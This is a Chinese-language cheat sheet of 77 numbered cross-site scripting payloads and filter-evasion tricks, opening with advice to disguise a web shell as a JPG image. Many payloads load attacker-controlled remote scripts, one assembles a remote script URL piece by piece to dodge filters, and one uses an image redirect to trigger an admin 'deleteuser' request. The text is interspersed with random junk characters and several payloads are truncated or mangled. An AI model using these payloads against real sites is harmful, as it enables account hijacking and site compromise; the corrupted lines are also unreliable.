跨站图片shell
" \& g' ^6 G6 l, E; Y+ Z9 fXSS跨站代码 <script>alert("")</script>& {3 T1 H1 ]2 Q/ J/ w
0 L m/ _- R' K2 w
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
Y8 i9 Y* M$ ?* @9 W) X, J" U' ]: h0 ]$ k8 h5 a- n
1 A4 w4 C0 w" }9 v8 p
; M7 u% A g" z* U& B1)普通的XSS JavaScript注入
9 j& ?0 k" F. u0 G% ?6 o7 F<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>! E8 R, P" p- a! L( }/ N: c5 i
9 _; \1 n& `* y7 X1 j, ~(2)IMG标签XSS使用JavaScript命令. ^# A2 w; O- c" z
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT> M; S$ @; b9 C+ b2 P- ?7 g
& C+ T* E5 d! A" q
(3)IMG标签无分号无引号: G. e+ Z8 F7 Z! Q T. A) n1 Z
<IMG SRC=javascript:alert(‘XSS’)>( T7 u$ Y5 s1 N) x+ p1 G2 I
0 W' d/ r4 D( }) f8 O- G$ u7 r
(4)IMG标签大小写不敏感
% Z+ L' L* X' k9 _! R/ T g<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
/ [! t1 |1 V: Q3 q3 o# O% ?; A0 S$ U4 M4 E! w
(5)HTML编码(必须有分号)" t6 C6 d! L: Y4 a3 o
<IMG SRC=javascript:alert(“XSS”)>8 \ }& p5 O" `4 e' Q8 E/ X8 `% T$ ^
7 Z( p4 U9 Y& r/ ~; A
(6)修正缺陷IMG标签1 k( W6 U0 w( x4 `% r5 p; w# q: @
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
H9 B: ^. Q* ?+ _* f5 c+ ?4 j/ j
- u! U3 h# a: \ @! H% N4 W) o p1 o(7)formCharCode标签(计算器)
% Y7 p; j3 |' @- H$ g, V% \<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
5 P3 @, ^8 M5 V6 `8 f; P* V M0 d U$ ^8 e
(8)UTF-8的Unicode编码(计算器)
* d! {& `( B. J* N5 u- s) E<IMG SRC=jav..省略..S')>
# P2 U0 ^" B0 ?% E% h ^3 z, s7 {
/ l l- \0 y, T" s; n( e/ u(9)7位的UTF-8的Unicode编码是没有分号的(计算器). r3 j L0 d1 @6 e& c
<IMG SRC=jav..省略..S')>
1 G; H- W/ c: m- Z) Z5 @% ^6 ~
8 P2 F, J1 b% j(10)十六进制编码也是没有分号(计算器)# q/ C. V1 P+ Y7 T
<IMG SRC=java..省略..XSS')>
# j) A% G7 K- j
p& g5 @! g7 Y1 p0 `(11)嵌入式标签,将Javascript分开
: f2 S( Q1 X6 h& P* o* n* ^<IMG SRC=”jav ascript:alert(‘XSS’);”>* E/ {, `/ c6 J* l0 @) C! p
" Q/ c# g' G' L- b) R2 L9 D" T
(12)嵌入式编码标签,将Javascript分开
0 Q$ Q: d, m6 {' C5 Y. y }<IMG SRC=”jav ascript:alert(‘XSS’);”>( w7 n- q* o: R% c" D
& t! H* u4 z& W4 }/ ? F) M% ^
(13)嵌入式换行符
3 `* K4 E0 U% ^: @7 r<IMG SRC=”jav ascript:alert(‘XSS’);”>
/ B. \( k8 L) {3 o
2 g$ D$ _( T W2 X' a% c(14)嵌入式回车
+ ?! Y+ z* S2 L- g* d L<IMG SRC=”jav ascript:alert(‘XSS’);”>" _$ ?9 t0 O! G9 Y" ]
0 ]2 A+ L0 J& R! k! [2 @1 Z
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
6 |' _8 L& @7 T5 Y4 y<IMG SRC=”javascript:alert(‘XSS‘)”>) D; e9 |+ X) |' R
' W1 F4 ^8 l2 U6 w8 w* L M
(16)解决限制字符(要求同页面)1 B1 N: g& t: P/ k/ ~6 }9 j( _+ }
<script>z=’document.’</script>) a. F/ m, n' G4 Z& f
<script>z=z+’write(“‘</script>5 i. [ j3 U0 p. ^: K0 {& K
<script>z=z+’<script’</script>+ J% S" ?+ a! b; T: u0 g' L
<script>z=z+’ src=ht’</script>
4 g7 m+ T1 W3 S# `* k<script>z=z+’tp://ww’</script> I) |5 U& O n0 M: B- [
<script>z=z+’w.shell’</script>6 A# J" z9 _* h) w2 T
<script>z=z+’.net/1.’</script>% z* V& c9 O9 S3 O) F; X
<script>z=z+’js></sc’</script>
: \% k5 k+ w: S! p( b6 |<script>z=z+’ript>”)’</script>
, G8 N! n6 ^( Q<script>eval_r(z)</script>1 u1 }, [8 J) }. r
5 y6 L9 x7 q* c8 b! E(17)空字符1 m) h u+ s# ~# j; P
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out" L v) c8 E" v; N# J+ O
' Z5 p/ N9 j. l( z; K& r7 y(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用3 {; w' g# \# ~6 l
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
; r I: v$ h& `8 \ d$ k B$ j" H: w: I4 S9 E
(19)Spaces和meta前的IMG标签
7 t) O+ e) T) D<IMG SRC=” javascript:alert(‘XSS’);”>
5 ?; i) M7 C8 _$ S6 W) a# N& }9 f" w" |* d) q+ M# [* P- W; [
(20)Non-alpha-non-digit XSS$ |( ?* X, m- P- z; o+ X4 o
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
% V% T* P, S$ [" L# ?4 j' M7 N; i4 A7 v! z P9 M, |+ @
(21)Non-alpha-non-digit XSS to 2
- q3 p& ~7 c6 H5 \ e* l! z. b<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
$ K Z+ J6 n" }5 h' G/ `! Y6 T8 m s) E" e0 g0 H' P0 j/ P) g
(22)Non-alpha-non-digit XSS to 3, Q' q4 O; i' j
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>% y" k& r( t, L# q2 G8 Z
[: G* f. g* w N# G
(23)双开括号 u" G& i0 v" D$ E! ?
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
: F+ \: ?% C; Z* [6 Z1 Q+ W* S& C8 P" e$ }, W
(24)无结束脚本标记(仅火狐等浏览器)
' ^% z [; e) R8 ~<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>. i6 k4 P: k3 E5 L. Y% U/ ?! D& D# C
+ R! O$ Q) T4 E. Z |(25)无结束脚本标记2
0 n( z, P; [4 i2 |- S<SCRIPT SRC=//3w.org/XSS/xss.js>
7 a6 b, ^( t$ E$ E5 ]1 S( d7 c" {
3 ~) I1 |7 `& V; f1 U2 o, N& I$ u' L. X(26)半开的HTML/JavaScript XSS. F' a! c/ X% F2 ^
<IMG SRC=”javascript:alert(‘XSS’)”: E/ Z8 G& J# Y
: l# q; z. `' O(27)双开角括号9 g( I) v! S" z% f5 ~/ h6 P1 M3 }
<iframe src=http://3w.org/XSS.html <; e' M( X! y2 N4 O' E
+ B. R# N$ @% L/ ?2 ^(28)无单引号 双引号 分号/ a( {) |9 ?- t+ Z) a3 X8 [
<SCRIPT>a=/XSS/9 x8 u/ D+ ~( T
alert(a.source)</SCRIPT>
6 }' L' V4 y) C3 d" a+ a% y6 Z; [% O8 J* B6 x& s
(29)换码过滤的JavaScript! X% j) V. p h1 p o
\”;alert(‘XSS’);//4 m& O& A. S5 F. Y* X' u
' e3 y% C% d& m) C( L
(30)结束Title标签9 G4 t: B( U+ p# m# K) {
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
( c- L* H- E" B5 O4 R9 z$ H! i2 R9 ~4 i+ U9 I
(31)Input Image& k& W) w9 p: l) ]1 Y1 a# c
<INPUT SRC=”javascript:alert(‘XSS’);”>' ~) ?3 D5 f4 k/ v& x9 f1 [+ F
" c, @' p. P: M; a) \$ y(32)BODY Image- {3 A+ D I* C9 ^ ]& I: P/ A
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
9 ~5 R" c0 P7 Y7 V% z& M
2 V3 z6 S0 X3 s(33)BODY标签
' a X7 y+ L0 ^4 S<BODY(‘XSS’)>
# f2 @# @. D. M- u2 _% Z6 s$ b% R% P# k6 ~
(34)IMG Dynsrc0 e \2 C5 _: C/ ?1 r2 }
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
" V) ?: i! [5 {* L/ D: g& A( W# `8 k3 B3 A+ n2 u9 L" c
(35)IMG Lowsrc: y2 s4 n& Z4 l+ W
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
5 R* ~% b! Q9 _9 U% y0 X B! e
6 x- ^1 N" {/ p1 F- }1 y(36)BGSOUND
+ O0 z. O/ }: H& ^8 W<BGSOUND SRC=”javascript:alert(‘XSS’);”>' `6 a) d( U- V, x' F
' o, m+ g7 v* n(37)STYLE sheet
4 \$ x8 @) ~! L+ \- t" U<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>% n6 Q" R5 l& H) o+ x: o
) x! Z5 U" P, i2 d: e
(38)远程样式表- j+ ^; t7 ]/ e" \
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
1 X. S4 k0 z5 i7 A7 U# C" t# V# r% [- \3 O; t# |$ x5 n
(39)List-style-image(列表式)
# ]1 Q" S3 O' K<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
x: _4 A* B h R- J$ K' j; j7 _3 W6 e( a( H% x5 C, u, M
(40)IMG VBscript! V7 G" i# h; h- l0 v5 |* X9 l. r
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
6 h/ T( j" N7 g% c5 q) Y% ~
, B- c& ]# C4 l(41)META链接url
. X: W+ z' j2 [/ x O<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>$ p. ?7 c8 t5 c) c3 s9 l+ U# R+ [; X
7 U2 i5 t* u/ D: Y9 p
(42)Iframe
" N& a2 T, O" t( h, m \% o<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>( I" q5 S. |. P/ p$ {" ]3 {, u$ U
(43)Frame; \: `# W# r# V3 v+ Z+ Y/ H
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>8 @- n$ I5 a& v+ Q
4 J4 M- G6 i3 }8 o4 o! O
(44)Table
" g$ h# w4 G* q. N1 g<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>; e6 O* |. s: v2 q- y5 q/ u
! E8 d0 X- P) \2 T(45)TD
% f% \4 |3 \ y* _<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>1 Q1 g! i- b+ M8 N- d* H
& E* W/ V8 `( W& L2 i, V% s(46)DIV background-image+ L* G1 q/ Y1 O
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
; f5 b: z* g6 G+ n+ s3 b% k& b) E' U) y' T2 }' C3 J' a1 ]3 z4 n& R
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279) L: z$ d2 _5 z$ i$ [& M7 @! F
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”># C# H, p& v! W. e4 W" D- Y% u
2 Z2 s$ T8 s+ P, h; h(48)DIV expression
4 o+ M; q1 E' U; x: }) W7 u<DIV STYLE=”width: expression_r(alert(‘XSS’));”>4 V/ y7 ~' ]: w5 R6 w; G/ |
' W, g, G+ L' o* I; g(49)STYLE属性分拆表达$ k5 B9 y+ ]) A
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>! \) u- n% u# c% K# O# F5 z" j
6 Y" Y; [9 c2 }7 a8 Q# o(50)匿名STYLE(组成:开角号和一个字母开头). U" H6 f1 F2 ^+ o3 R+ F
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>- i$ V- [' c9 _6 R4 c
% f: K5 J/ c. d& G7 d
(51)STYLE background-image
7 _& T* h; z7 G1 m8 I) k7 l<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>8 ]- F- K( y2 @; }
0 i; Y" C7 a# J" D
(52)IMG STYLE方式) |9 n# m \: O/ i: \
exppression(alert(“XSS”))’>
0 V/ l' M% u: m9 z V' ?$ t, _% }# {
(53)STYLE background
+ M- P- T9 G4 T0 m: y c<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>2 C$ \, f$ t) b- d1 j
: R e- N& P( M/ g(54)BASE5 Q! g9 e( H& J- ?9 y, r
<BASE HREF=”javascript:alert(‘XSS’);//”>
4 T+ A) K' e: T4 \& n- p) z$ Z v/ m, G- `
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS8 d% @+ y! O! g& k1 J7 r
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>$ X! P5 ]9 o! t) ?4 e% Z8 B6 t' @6 x
/ S3 h/ J. B/ w* D
(56)在flash中使用ActionScrpt可以混进你XSS的代码
! s8 L% v$ p1 i* T5 da=”get”;
5 E# h. M# L; {! {b=”URL(\”";: Y( s" [. f/ Q! q. @
c=”javascript:”;
( V) X `2 A: }: \1 Ad=”alert(‘XSS’);\”)”;
3 Q8 ^7 \7 @4 _6 g. _ deval_r(a+b+c+d);4 r* `$ l# ?: _+ V6 F7 R: g( b
4 P: |, T4 M. H+ |- O4 @
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
- S% W8 Q+ a5 S& |( I<HTML xmlns:xss>
7 c, f& E! ?2 z4 W9 c9 c- G; l) c<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>. H m. {! J& H& Y! ^
<xss:xss>XSS</xss:xss>
5 \4 Y2 ~6 o! e' S8 x$ H! g</HTML>
7 g0 q7 r/ d5 s( Z6 B$ j5 Y: t% a# R' Y9 _
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
+ F7 U' ~$ v8 Z6 C8 V/ f<SCRIPT SRC=””></SCRIPT>8 g( Y/ w4 d0 P# }) Y
8 _, Y6 O5 J% j \' x, D% W
(59)IMG嵌入式命令,可执行任意命令
n2 k: u& u, m H8 V A<IMG SRC=”http://www.XXX.com/a.php?a=b”>
) \$ c2 v/ u# p) G* Q: d e& d$ m" ^7 m1 b5 v$ e' V2 u8 j
(60)IMG嵌入式命令(a.jpg在同服务器)
~# x4 \+ D5 @Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
% p2 g7 M4 {! E! ?8 e9 m' v" o5 @- {1 r3 B
(61)绕符号过滤
0 k) |, |1 m2 ^- D<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
) o# @! f+ @1 [1 |, ~
9 K: ~& J1 F$ C* o(62)2 r* r' r5 g. `
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
& V% C/ P4 F1 ]3 b2 L- y5 j) N
4 G( l5 [+ I$ k* R" r+ ^+ _(63)
5 a3 L% i k+ {2 P! T<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
+ B, V0 s. H& F- Y6 J$ T( ?* a
' s+ i6 w4 T3 [( X e5 W(64)" }8 D2 m: J3 k- d+ n9 U
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
0 C! J2 ]$ U: o, t# P7 K
! r& a5 p/ T+ F; t" ~ i! Y(65)& n; |& k9 o8 t2 v) t" c7 H% G
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>3 a& J! H8 T8 g: t7 N( J* b3 R
7 Y8 P; C+ C* Z9 M- x
(66)" s" H/ f$ g( ]" h$ U# u4 Q0 n/ i
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>' G" h. F$ c+ Y/ d
) I/ C$ e# T/ i; T
(67)
: Z3 i, q7 R4 O+ c& C<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>) Q4 w: U2 r. f0 z) F S* V: l
& h' q2 }3 Q( q+ c$ n, i' N
(68)URL绕行3 N" ~" i1 z) z: H7 f( W, n
<A HREF=”http://127.0.0.1/”>XSS</A>
P+ m' ^ b: z# G$ u" R- m0 a+ s5 u
(69)URL编码: D- i+ B0 V& o! U! ~
<A HREF=”http://3w.org”>XSS</A>2 G+ n7 {4 @, ]
0 t* d; N% q9 J! o9 ~$ Y3 P+ f- B {(70)IP十进制
# y! u8 k5 E X4 P3 g* m<A HREF=”http://3232235521″>XSS</A>
) P# {6 n# Z' Z5 L( U; L% |4 ^2 d7 X/ L/ f4 K
(71)IP十六进制
6 R ] y( E. Z; X6 _2 J% c( p3 y<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
- Z8 p, I$ T# B1 U
% s0 n9 ? l, I3 i. v2 }! r(72)IP八进制5 x8 b- F% o$ l0 \# [4 K4 G) j* i
<A HREF=”http://0300.0250.0000.0001″>XSS</A>/ I3 x/ F! e9 p* q
J8 O4 J0 z6 A& T* o p(73)混合编码
* H5 g4 m# E& D9 `6 Z<A HREF=”h, g2 q" R. o, m2 Y' S/ d
tt p://6 6.000146.0×7.147/”">XSS</A>1 G7 a, [% r! T+ G7 E! t
. C. G* C+ f& A, P: c8 `(74)节省[http:]: a0 m7 Z* A# I9 }: f5 h' |
<A HREF=”//www.google.com/”>XSS</A>
# C7 V9 s& n5 z1 y" e0 T8 H3 t' J# r% b! J8 F
(75)节省[www]1 B0 k# z# G' @: J
<A HREF=”http://google.com/”>XSS</A>
( G8 k6 S4 r! w# e1 `* a( r
: U/ P# Z7 }7 z/ q. I3 r, y* k' j4 X(76)绝对点绝对DNS" q- F8 U9 ^4 u3 m, f- J, N1 g
<A HREF=”http://www.google.com./”>XSS</A>3 C3 I& M6 ~1 x/ I: f- d+ Y( v
8 a' `# V3 n( a! f- s6 E, Z2 x
(77)javascript链接- C+ e0 F' B8 a' E" Z
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>: [+ S2 d" a( r
|